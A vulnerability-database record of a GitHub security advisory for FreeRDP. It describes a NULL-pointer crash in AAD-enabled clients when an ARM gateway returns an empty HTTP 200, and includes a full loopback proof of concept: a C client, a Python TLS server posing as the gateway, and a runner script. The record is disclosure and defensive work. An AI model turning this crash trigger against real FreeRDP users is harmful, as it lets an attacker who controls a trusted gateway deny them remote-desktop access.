{"schema":"threatline.record/2","record":{"id":"GHSA-qjwp-c855-hc69","aliases":["GHSA-qjwp-c855-hc69"],"summary":"Empty ARM HTTP 200 response crashes AAD-enabled FreeRDP clients","details":"An AAD-enabled FreeRDP client using ARM gateway transport crashes when its configured ARM endpoint returns `HTTP/1.1 200 OK` with an empty body. The HTTP response parser represents a zero-length body with `BodyLength == 0` and `BodyContent == NULL`. The status-200 ARM handler passes that pointer to `strnlen` without a NULL check.\r\n\r\nThe issue requires `WITH_AAD=ON`, ARM transport configuration, and control of the configured ARM endpoint or another TLS position already accepted by the client. It does not bypass TLS. The demonstrated result is availability loss in the connecting client process only; no confidentiality loss, integrity loss, or code execution was observed.\r\n\r\nThe vulnerable sequence in FreeRDP 3.31.1 is:\r\n\r\n```c\r\nconst size_t len = http_response_get_body_length(response);\r\nconst char* msg = http_response_get_body(response);\r\nconst size_t alen = strnlen(msg, len + 1);\r\n```\r\n\r\nFor a zero-length body, this becomes `strnlen(NULL, 1)`. The production path is `freerdp_connect` -> `rdp_client_connect` -> `arm_resolve_endpoint` -> `arm_handle_request` -> `arm_handle_request_ok`.\r\n\r\nThe vulnerable handler first appeared in 3.0.0-beta4 during an ARM handling restructure. The preceding beta3 allocated a non-NULL `len + 1` buffer before parsing. Stable 3.0.0, 3.31.1, and the inspected current master source retain the unsafe operation. No public fix or exact duplicate was found.\r\n\r\n## Impact\r\n\r\nA malicious or compromised configured ARM gateway can terminate affected FreeRDP client processes while they resolve an Azure Virtual Desktop connection. The crash is deterministic for the tested response. Users can restart the client, but a gateway that repeats the reply can prevent connection establishment.\r\n\r\nThe CVSS attack complexity is High because an attacker must control a configured trusted endpoint, possess a certificate the client accepts, or already occupy a trusted interception position. The attack requires no FreeRDP-local privileges or user interaction after the client starts the configured connection.\r\n\r\n## Validation\r\n\r\nThe real product request path was exercised against a controlled local TLS endpoint. The server first returned a valid AAD well-known document, received FreeRDP's bearer-authenticated `POST /api/arm/v2/connections`, and then returned one of two responses:\r\n\r\n- Empty HTTP 200: ASan/UBSan reported a NULL argument and SEGV at `arm_handle_request_ok`; an unsanitized RelWithDebInfo build independently exited with SIGSEGV.\r\n- Valid nonempty ARM JSON: FreeRDP extracted the gateway URL, returned normally from ARM parsing without a sanitizer finding, and failed later only because the downstream target was deliberately unreachable.\r\n\r\nThis control isolates the empty successful response as the crash trigger.\r\n\r\n## Reproduction\r\n\r\nThe attached PoC expects a matching FreeRDP 3.31.1 source checkout and CMake build with `WITH_AAD=ON` and shared libraries enabled:\r\n\r\n```sh\r\ngit clone https://github.com/FreeRDP/FreeRDP.git freerdp-src\r\ngit -C freerdp-src checkout 3.31.1\r\ncmake -S freerdp-src -B freerdp-build \\\r\n  -DCMAKE_BUILD_TYPE=RelWithDebInfo \\\r\n  -DBUILD_SHARED_LIBS=ON \\\r\n  -DWITH_AAD=ON\r\ncmake --build freerdp-build --target freerdp --parallel 4\r\n\r\nFREERDP_SOURCE=\"$PWD/freerdp-src\" \\\r\nFREERDP_BUILD=\"$PWD/freerdp-build\" \\\r\n./poc/run.sh\r\n```\r\n\r\nThe runner uses loopback only, creates an ephemeral certificate and test binary, runs both cases, and deletes the certificate, private key, binary, transcripts, and logs on exit. It intentionally crashes the test client process and should be run only on a disposable local system.\r\n\r\n## Suggested remediation\r\n\r\nCheck `msg` for NULL in `arm_handle_request_ok` before calling `strnlen`, return a normal connection error for a missing body, and add a regression test for an HTTP 200 response with `Content-Length: 0`. The valid nonempty JSON case should remain a control.\r\n\r\n## Complete PoC files\r\n\r\n<!-- BEGIN FILE: poc/arm_product_client.c -->\r\n\r\n```c\r\n#include <freerdp/freerdp.h>\r\n#include <freerdp/settings.h>\r\n#include <winpr/wlog.h>\r\n\r\n#include <errno.h>\r\n#include <inttypes.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\nstatic int set_string(rdpSettings* settings, FreeRDP_Settings_Keys_String key, const char* value)\r\n{\r\n\tif (!freerdp_settings_set_string(settings, key, value))\r\n\t{\r\n\t\tfprintf(stderr, \"failed to set string key %u\\n\", (unsigned)key);\r\n\t\treturn 0;\r\n\t}\r\n\treturn 1;\r\n}\r\n\r\nstatic int set_bool(rdpSettings* settings, FreeRDP_Settings_Keys_Bool key, BOOL value)\r\n{\r\n\tif (!freerdp_settings_set_bool(settings, key, value))\r\n\t{\r\n\t\tfprintf(stderr, \"failed to set bool key %u\\n\", (unsigned)key);\r\n\t\treturn 0;\r\n\t}\r\n\treturn 1;\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tif (argc != 2)\r\n\t{\r\n\t\tfprintf(stderr, \"usage: %s AAD_HOST:PORT\\n\", argv[0]);\r\n\t\treturn 64;\r\n\t}\r\n\r\n\tconst char* colon = strrchr(argv[1], ':');\r\n\tif (!colon || (colon == argv[1]) || (colon[1] == '\\0'))\r\n\t{\r\n\t\tfprintf(stderr, \"AAD endpoint must be HOST:PORT\\n\");\r\n\t\treturn 64;\r\n\t}\r\n\r\n\terrno = 0;\r\n\tchar* end = NULL;\r\n\tconst unsigned long parsed_port = strtoul(colon + 1, &end, 10);\r\n\tif (errno || !end || (*end != '\\0') || (parsed_port == 0) || (parsed_port > UINT16_MAX))\r\n\t{\r\n\t\tfprintf(stderr, \"invalid endpoint port\\n\");\r\n\t\treturn 64;\r\n\t}\r\n\r\n\tconst size_t host_len = (size_t)(colon - argv[1]);\r\n\tchar* gateway_host = strndup(argv[1], host_len);\r\n\tif (!gateway_host)\r\n\t\treturn 65;\r\n\r\n\tfreerdp* instance = freerdp_new();\r\n\tif (!instance)\r\n\t{\r\n\t\tfree(gateway_host);\r\n\t\treturn 65;\r\n\t}\r\n\tif (!freerdp_context_new(instance))\r\n\t{\r\n\t\tfreerdp_free(instance);\r\n\t\tfree(gateway_host);\r\n\t\treturn 66;\r\n\t}\r\n\r\n\trdpSettings* settings = instance->context->settings;\r\n\tconst BYTE load_balance_info[] = \"full address:s:unreachable.invalid\";\r\n\tint ok = 1;\r\n\tok &= set_string(settings, FreeRDP_ServerHostname, \"unreachable.invalid\");\r\n\tok &= freerdp_settings_set_uint32(settings, FreeRDP_ServerPort, 3389);\r\n\tok &= set_string(settings, FreeRDP_GatewayHostname, gateway_host);\r\n\tok &= freerdp_settings_set_uint32(settings, FreeRDP_GatewayPort, (UINT32)parsed_port);\r\n\tok &= set_bool(settings, FreeRDP_GatewayEnabled, TRUE);\r\n\tok &= set_bool(settings, FreeRDP_GatewayArmTransport, TRUE);\r\n\tok &= set_bool(settings, FreeRDP_GatewayRpcTransport, FALSE);\r\n\tok &= set_bool(settings, FreeRDP_GatewayHttpTransport, FALSE);\r\n\tok &= set_bool(settings, FreeRDP_GatewayHttpUseWebsockets, FALSE);\r\n\tok &= set_bool(settings, FreeRDP_AadSecurity, TRUE);\r\n\tok &= set_bool(settings, FreeRDP_IgnoreCertificate, TRUE);\r\n\tok &= set_string(settings, FreeRDP_GatewayAzureActiveDirectory, argv[1]);\r\n\tok &= set_string(settings, FreeRDP_GatewayHttpExtAuthBearer, \"test-access-token\");\r\n\tok &= set_string(settings, FreeRDP_RemoteApplicationProgram, \"||test-app\");\r\n\tok &= freerdp_settings_set_pointer_len(settings, FreeRDP_LoadBalanceInfo, load_balance_info,\r\n\t                                       sizeof(load_balance_info) - 1);\r\n\tok &= freerdp_settings_set_uint32(settings, FreeRDP_TcpConnectTimeout, 1000);\r\n\tfree(gateway_host);\r\n\tif (!ok)\r\n\t{\r\n\t\tfreerdp_context_free(instance);\r\n\t\tfreerdp_free(instance);\r\n\t\treturn 67;\r\n\t}\r\n\r\n\tWLog_SetLogLevel(WLog_GetRoot(), WLOG_DEBUG);\r\n\tfprintf(stderr, \"CLIENT_MARKER before_freerdp_connect\\n\");\r\n\tconst BOOL connected = freerdp_connect(instance);\r\n\tfprintf(stderr, \"CLIENT_MARKER after_freerdp_connect connected=%d last_error=0x%08\" PRIx32 \"\\n\",\r\n\t        connected, freerdp_get_last_error(instance->context));\r\n\tif (connected)\r\n\t\tfreerdp_disconnect(instance);\r\n\tfreerdp_context_free(instance);\r\n\tfreerdp_free(instance);\r\n\treturn connected ? 0 : 1;\r\n}\r\n```\r\n\r\n<!-- END FILE: poc/arm_product_client.c -->\r\n\r\n<!-- BEGIN FILE: poc/arm_https_server.py -->\r\n\r\n```python\r\n#!/usr/bin/env python3\r\nimport argparse\r\nimport base64\r\nimport json\r\nimport socket\r\nimport ssl\r\nimport struct\r\nfrom pathlib import Path\r\n\r\n\r\ndef read_request(conn):\r\n    data = b\"\"\r\n    while b\"\\r\\n\\r\\n\" not in data:\r\n        block = conn.recv(4096)\r\n        if not block:\r\n            break\r\n        data += block\r\n    head, _, body = data.partition(b\"\\r\\n\\r\\n\")\r\n    content_length = 0\r\n    for line in head.split(b\"\\r\\n\")[1:]:\r\n        if line.lower().startswith(b\"content-length:\"):\r\n            content_length = int(line.split(b\":\", 1)[1].strip())\r\n    while len(body) < content_length:\r\n        block = conn.recv(4096)\r\n        if not block:\r\n            break\r\n        body += block\r\n    return head, body[:content_length]\r\n\r\n\r\ndef response(body):\r\n    return (\r\n        b\"HTTP/1.1 200 OK\\r\\n\"\r\n        b\"Content-Type: application/json\\r\\n\"\r\n        + f\"Content-Length: {len(body)}\\r\\n\".encode()\r\n        + b\"Connection: close\\r\\n\\r\\n\"\r\n        + body\r\n    )\r\n\r\n\r\ndef valid_arm_body(cert_path):\r\n    pem = Path(cert_path).read_text(encoding=\"ascii\")\r\n    der = ssl.PEM_cert_to_DER_cert(pem)\r\n    target_cert = struct.pack(\"<III\", 32, 1, len(der)) + der\r\n    inner = base64.b64encode(target_cert).decode(\"ascii\").encode(\"utf-16le\")\r\n    wrapped = base64.b64encode(inner).decode(\"ascii\")\r\n    return json.dumps(\r\n        {\r\n            \"gatewayLocation\": \"https://gateway.example.test/\",\r\n            \"redirectedServerCert\": wrapped,\r\n        },\r\n        separators=(\",\", \":\"),\r\n    ).encode(\"ascii\")\r\n\r\n\r\ndef main():\r\n    parser = argparse.ArgumentParser()\r\n    parser.add_argument(\"--mode\", choices=(\"empty\", \"valid\"), required=True)\r\n    parser.add_argument(\"--cert\", required=True)\r\n    parser.add_argument(\"--key\", required=True)\r\n    parser.add_argument(\"--transcript\", required=True)\r\n    parser.add_argument(\"--port\", type=int, required=True)\r\n    args = parser.parse_args()\r\n\r\n    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\r\n    context.load_cert_chain(args.cert, args.key)\r\n    events = []\r\n    with socket.socket() as listener:\r\n        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\n        listener.bind((\"127.0.0.1\", args.port))\r\n        listener.listen(4)\r\n        print(f\"SERVER_MARKER listening mode={args.mode} port={args.port}\", flush=True)\r\n        for index in range(2):\r\n            raw, peer = listener.accept()\r\n            with context.wrap_socket(raw, server_side=True) as conn:\r\n                head, body = read_request(conn)\r\n                request_line = head.split(b\"\\r\\n\", 1)[0].decode(\"ascii\", \"replace\")\r\n                events.append(\r\n                    {\r\n                        \"index\": index + 1,\r\n                        \"peer\": list(peer),\r\n                        \"request_line\": request_line,\r\n                        \"headers\": head.decode(\"utf-8\", \"replace\"),\r\n                        \"body\": body.decode(\"utf-8\", \"replace\"),\r\n                        \"body_length\": len(body),\r\n                    }\r\n                )\r\n                if index == 0:\r\n                    payload = b\"{}\"\r\n                elif args.mode == \"valid\":\r\n                    payload = valid_arm_body(args.cert)\r\n                else:\r\n                    payload = b\"\"\r\n                conn.sendall(response(payload))\r\n                print(\r\n                    f\"SERVER_MARKER request={index + 1} line={request_line!r} \"\r\n                    f\"request_body={len(body)} response_body={len(payload)}\",\r\n                    flush=True,\r\n                )\r\n    Path(args.transcript).write_text(json.dumps(events, indent=2) + \"\\n\", encoding=\"utf-8\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n```\r\n\r\n<!-- END FILE: poc/arm_https_server.py -->\r\n\r\n<!-- BEGIN FILE: poc/run.sh -->\r\n\r\n```bash\r\n#!/usr/bin/env bash\r\nset -euo pipefail\r\n\r\n: \"${FREERDP_SOURCE:?set FREERDP_SOURCE to a FreeRDP source checkout}\"\r\n: \"${FREERDP_BUILD:?set FREERDP_BUILD to its AAD-enabled build directory}\"\r\n\r\nexpected_revision=\"${FREERDP_EXPECTED_REVISION:-63b948ca5cb94307fd5444ee6e73927a41ccdab4}\"\r\nactual_revision=$(git -c safe.directory=\"$FREERDP_SOURCE\" -C \"$FREERDP_SOURCE\" rev-parse HEAD)\r\nif [[ \"$actual_revision\" != \"$expected_revision\" ]]; then\r\n    printf 'revision mismatch: expected %s, got %s\\n' \"$expected_revision\" \"$actual_revision\" >&2\r\n    exit 2\r\nfi\r\n\r\ncache=\"$FREERDP_BUILD/CMakeCache.txt\"\r\nif [[ ! -f \"$cache\" ]] || ! grep -qx 'WITH_AAD:BOOL=ON' \"$cache\"; then\r\n    printf 'FREERDP_BUILD must be a CMake build with WITH_AAD=ON\\n' >&2\r\n    exit 2\r\nfi\r\nif ! grep -Fqx \"CMAKE_HOME_DIRECTORY:INTERNAL=$FREERDP_SOURCE\" \"$cache\"; then\r\n    printf 'FREERDP_BUILD does not match FREERDP_SOURCE\\n' >&2\r\n    exit 2\r\nfi\r\n\r\nscript_dir=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\r\nwork=$(mktemp -d)\r\nserver_pid=''\r\ncleanup() {\r\n    if [[ -n \"$server_pid\" ]] && kill -0 \"$server_pid\" 2>/dev/null; then\r\n        kill \"$server_pid\" 2>/dev/null || true\r\n        wait \"$server_pid\" 2>/dev/null || true\r\n    fi\r\n    rm -rf \"$work\"\r\n    printf 'CLEANUP removed generated certificate, key, binary, and logs\\n'\r\n}\r\ntrap cleanup EXIT\r\n\r\nport=\"${ARM_TEST_PORT:-18443}\"\r\nopenssl req -x509 -newkey rsa:2048 -nodes -sha256 -days 1 \\\r\n    -subj '/CN=127.0.0.1' -addext 'subjectAltName=IP:127.0.0.1,DNS:localhost' \\\r\n    -keyout \"$work/server.key\" -out \"$work/server.crt\" >/dev/null 2>&1\r\n\r\nread -r -a compiler_flags <<< \"${POC_CFLAGS:--O2 -g}\"\r\ncc \"${compiler_flags[@]}\" \\\r\n    -I\"$FREERDP_SOURCE/include\" \\\r\n    -I\"$FREERDP_SOURCE/winpr/include\" \\\r\n    -I\"$FREERDP_BUILD/include\" \\\r\n    -I\"$FREERDP_BUILD/winpr/include\" \\\r\n    \"$script_dir/arm_product_client.c\" \\\r\n    -L\"$FREERDP_BUILD/libfreerdp\" \\\r\n    -L\"$FREERDP_BUILD/winpr/libwinpr\" \\\r\n    -lfreerdp3 -lwinpr3 -o \"$work/arm_product_client\"\r\n\r\nlibrary_path=\"$FREERDP_BUILD/libfreerdp:$FREERDP_BUILD/winpr/libwinpr\"\r\nif [[ -n \"${FREERDP_EXTRA_LD_LIBRARY_PATH:-}\" ]]; then\r\n    library_path=\"$library_path:$FREERDP_EXTRA_LD_LIBRARY_PATH\"\r\nfi\r\n\r\nrun_case() {\r\n    local mode=$1\r\n    local server_log=\"$work/$mode-server.log\"\r\n    local client_log=\"$work/$mode-client.log\"\r\n    local transcript=\"$work/$mode-transcript.json\"\r\n\r\n    timeout 20s python3 \"$script_dir/arm_https_server.py\" \\\r\n        --mode \"$mode\" --cert \"$work/server.crt\" --key \"$work/server.key\" \\\r\n        --transcript \"$transcript\" --port \"$port\" >\"$server_log\" 2>&1 &\r\n    server_pid=$!\r\n    for _ in $(seq 1 50); do\r\n        grep -q 'SERVER_MARKER listening' \"$server_log\" 2>/dev/null && break\r\n        sleep 0.1\r\n    done\r\n\r\n    set +e\r\n    env -u http_proxy -u https_proxy -u HTTP_PROXY -u HTTPS_PROXY -u ALL_PROXY -u all_proxy \\\r\n        LD_LIBRARY_PATH=\"$library_path\" SSL_CERT_FILE=\"$work/server.crt\" WLOG_LEVEL=DEBUG \\\r\n        ASAN_OPTIONS=abort_on_error=1:detect_leaks=0:symbolize=1 \\\r\n        timeout 15s \"$work/arm_product_client\" \"127.0.0.1:$port\" >\"$client_log\" 2>&1\r\n    client_status=$?\r\n    wait \"$server_pid\"\r\n    server_status=$?\r\n    set -e\r\n    server_pid=''\r\n\r\n    if [[ \"$server_status\" -ne 0 ]]; then\r\n        printf '%s server failed with status %s\\n' \"$mode\" \"$server_status\" >&2\r\n        cat \"$server_log\" >&2\r\n        exit 1\r\n    fi\r\n\r\n    printf '%s client_exit=%s server_exit=%s\\n' \"${mode^^}\" \"$client_status\" \"$server_status\"\r\n    grep 'SERVER_MARKER request=' \"$server_log\"\r\n    if [[ \"$mode\" == valid ]]; then\r\n        if [[ \"$client_status\" -ne 1 ]] || ! grep -q 'CLIENT_MARKER after_freerdp_connect' \"$client_log\"; then\r\n            printf 'valid control did not return normally\\n' >&2\r\n            cat \"$client_log\" >&2\r\n            exit 1\r\n        fi\r\n        if grep -Eq 'AddressSanitizer|runtime error:|DEADLYSIGNAL' \"$client_log\"; then\r\n            printf 'valid control unexpectedly triggered a sanitizer\\n' >&2\r\n            exit 1\r\n        fi\r\n        grep -E 'extracted target url|CLIENT_MARKER after_freerdp_connect' \"$client_log\"\r\n    else\r\n        if [[ \"$client_status\" -ne 134 && \"$client_status\" -ne 139 ]]; then\r\n            printf 'empty response did not terminate the client as expected\\n' >&2\r\n            cat \"$client_log\" >&2\r\n            exit 1\r\n        fi\r\n        if grep -q 'AddressSanitizer' \"$client_log\"; then\r\n            grep -E 'runtime error: null pointer|AddressSanitizer: SEGV|arm_handle_request_ok|arm_resolve_endpoint|freerdp_connect' \"$client_log\" | head -12\r\n        else\r\n            grep 'CLIENT_MARKER before_freerdp_connect' \"$client_log\"\r\n            printf 'release build terminated by SIGSEGV\\n'\r\n        fi\r\n    fi\r\n}\r\n\r\nprintf 'REVISION %s\\n' \"$actual_revision\"\r\nrun_case valid\r\nrun_case empty\r\nprintf 'RESULT vulnerable: valid ARM JSON returned normally; empty HTTP 200 terminated the client\\n'\r\n```\r\n\r\n<!-- END FILE: poc/run.sh -->\r\n","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-qjwp-c855-hc69","source_modified_at":"2026-09-29T07:28:12Z","fetched_at":"2026-10-27T10:24:27.527526Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":">= 3.0.0-beta4, <= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-qjwp-c855-hc69","source_modified_at":"2026-09-29T07:28:12Z","fetched_at":"2026-10-27T10:24:27.527526Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":5.9,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-29T07:28:12Z","modified_at":"2026-09-29T07:28:12Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-qjwp-c855-hc69","fetched_at":"2026-10-27T10:24:27.527526Z","source_modified_at":"2026-09-29T07:28:12Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-29T07:28:12Z","content_hash":"f10c3a5a18ed1a5ca6bc3311f8995acc0483944fa89781daf5ed99ae6981c717"}}
